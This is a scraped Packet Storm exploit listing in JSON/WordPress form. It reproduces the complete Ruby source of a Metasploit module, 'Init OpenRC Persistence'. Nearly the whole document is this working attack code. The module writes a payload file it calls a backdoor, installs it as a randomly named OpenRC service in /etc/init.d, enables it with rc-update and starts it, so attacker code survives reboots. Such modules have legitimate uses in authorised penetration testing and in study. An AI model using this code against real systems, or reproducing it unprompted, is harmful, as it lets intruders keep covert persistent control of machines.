{“lastseen”:”2025-09-16T16:40:23″,”description”:”This Metasploit module will create a service…”,”published”:”2025-09-16T00:00:00″,”modified”:”2025-09-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Init OpenRC Persistence”,”source”:””,”references”:””,”id”:”PACKETSTORM:209544″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n \\n include Msf::Post::File\\n include Msf::Post::Unix\\n include Msf::Exploit::FileDropper\\n include Msf::Exploit::EXE # for generate_payload_exe\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Deprecated\\n moved_from ‘exploits\/linux\/local\/service_persistence’\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Init OpenRC Persistence’,\\n ‘Description’ =\\u003e %q{\\n This module will create a service on the box via OpenRC, and mark it for auto-restart.\\n We need enough access to write service files and potentially restart services.\\n Verified against alpine 3.21.2\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘h00die’,\\n ],\\n ‘Platform’ =\\u003e [‘unix’, ‘linux’],\\n ‘Targets’ =\\u003e [\\n [‘Automatic’, {}]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Arch’ =\\u003e [\\n ARCH_CMD,\\n ARCH_X86,\\n ARCH_X64,\\n ARCH_ARMLE,\\n ARCH_AARCH64,\\n ARCH_PPC,\\n ARCH_MIPSLE,\\n ARCH_MIPSBE\\n ],\\n ‘References’ =\\u003e [\\n [‘URL’, ‘https:\/\/www.digitalocean.com\/community\/tutorials\/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples’],\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],\\n [‘URL’, ‘https:\/\/wiki.alpinelinux.org\/wiki\/Writing_Init_Scripts’],\\n [‘URL’, ‘https:\/\/wiki.alpinelinux.org\/wiki\/OpenRC’],\\n [‘URL’, ‘https:\/\/github.com\/OpenRC\/openrc\/blob\/master\/service-script-guide.md’],\\n ],\\n ‘SessionTypes’ =\\u003e [‘shell’, ‘meterpreter’],\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n },\\n ‘DisclosureDate’ =\\u003e ‘2007-04-05’ # openrc release date\\n )\\n )\\n \\n register_options(\\n [\\n OptString.new(‘SERVICE’, [false, ‘Name of service to create’]),\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of the payload file to write’]),\\n ]\\n )\\n register_advanced_options(\\n [\\n OptBool.new(‘EnableService’, [true, ‘Enable the service’, true])\\n ]\\n )\\n end\\n \\n def check\\n print_warning(‘Payloads in \/tmp will only last until reboot, you want to choose elsewhere.’) if writable_dir.start_with?(‘\/tmp’)\\n return CheckCode::Safe(\\”#{writable_dir} doesnt exist\\”) unless exists?(writable_dir)\\n return CheckCode::Safe(\\”#{writable_dir} isnt writable\\”) unless writable?(writable_dir)\\n return CheckCode::Safe(‘\/etc\/init.d\/ doesnt exist’) unless exists?(‘\/etc\/init.d\/’)\\n return CheckCode::Safe(‘\/etc\/init.d\/ isnt writable’) unless writable?(‘\/etc\/init.d\/’)\\n \\n return CheckCode::Safe(‘Likely not an openrc based system’) unless command_exists?(‘openrc’)\\n \\n CheckCode::Appears(\\”#{writable_dir} is writable and system is openrc based\\”)\\n end\\n \\n def install_persistence\\n print_warning(‘Payloads in \/tmp will only last until reboot, you want to choose elsewhere.’) if writable_dir.start_with?(‘\/tmp’)\\n backdoor = write_shell(writable_dir)\\n \\n path = backdoor.split(‘\/’)[0…-1].join(‘\/’)\\n file = backdoor.split(‘\/’)[-1]\\n \\n openrc(path, file)\\n end\\n \\n def write_shell(path)\\n file_name = datastore[‘PAYLOAD_NAME’] || Rex::Text.rand_text_alpha(5..10)\\n backdoor = \\”#{path}\/#{file_name}\\”\\n vprint_status(\\”Writing backdoor to #{backdoor}\\”)\\n \\n if payload.arch.first == ‘cmd’\\n write_file(backdoor, payload.encoded)\\n chmod(backdoor, 0o755)\\n else\\n upload_and_chmodx(backdoor, generate_payload_exe)\\n end\\n \\n @clean_up_rc \\u003c\\u003c \\”rm #{backdoor}\\\\n\\”\\n \\n fail_with(Failure::NoAccess, ‘File not written, check permissions.’) unless file_exist?(backdoor)\\n backdoor\\n end\\n \\n def openrc(backdoor_path, backdoor_file)\\n if payload.arch.first == ‘cmd’\\n script = %(#!\/sbin\/openrc-run\\n name=#{backdoor_file}\\n command=\/bin\/sh\\n command_args=\\”#{backdoor_path}\/#{backdoor_file}\\”\\n pidfile=\\”\/run\/${RC_SVCNAME}.pid\\”\\n command_background=\\”yes\\”\\n )\\n else\\n script = %(#!\/sbin\/openrc-run\\n name=#{backdoor_file}\\n command=\\”#{backdoor_path}\/#{backdoor_file}\\”\\n command_args=\\”\\”\\n pidfile=\\”\/run\/${RC_SVCNAME}.pid\\”\\n command_background=\\”yes\\”\\n )\\n end\\n \\n service_filename = datastore[‘SERVICE’] || Rex::Text.rand_text_alpha(7..12)\\n service_path = \\”\/etc\/init.d\/#{service_filename}\\”\\n vprint_status(\\”Writing service: #{service_path}\\”)\\n begin\\n upload_and_chmodx(service_path, script)\\n @clean_up_rc \\u003c\\u003c \\”rm #{service_path}\\\\n\\”\\n rescue Rex::Post::Meterpreter::RequestError\\n print_error(\\”Writing ‘#{service_path}’ to the target and or changing the file permissions failed\\”)\\n end\\n \\n fail_with(Failure::NoAccess, ‘Service file not written, check permissions.’) unless file_exist?(service_path)\\n \\n if datastore[‘EnableService’]\\n vprint_status(‘Enabling service’)\\n cmd_exec(\\”rc-update add ‘#{service_filename}’\\”)\\n @clean_up_rc \\u003c\\u003c \\”execute -f sh -a \\\\\\”-c ‘rc-update del #{service_filename}’\\\\\\”\\”\\n end\\n \\n print_good(‘Starting service’)\\n cmd_exec(\\”‘#{service_path}’ start\\”)\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/209544″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/209544\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-09-16T16:40:23″,”description”:”This Metasploit module will create a service…”,”published”:”2025-09-16T00:00:00″,”modified”:”2025-09-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Init OpenRC Persistence”,”source”:””,”references”:””,”id”:”PACKETSTORM:209544″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-17649","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n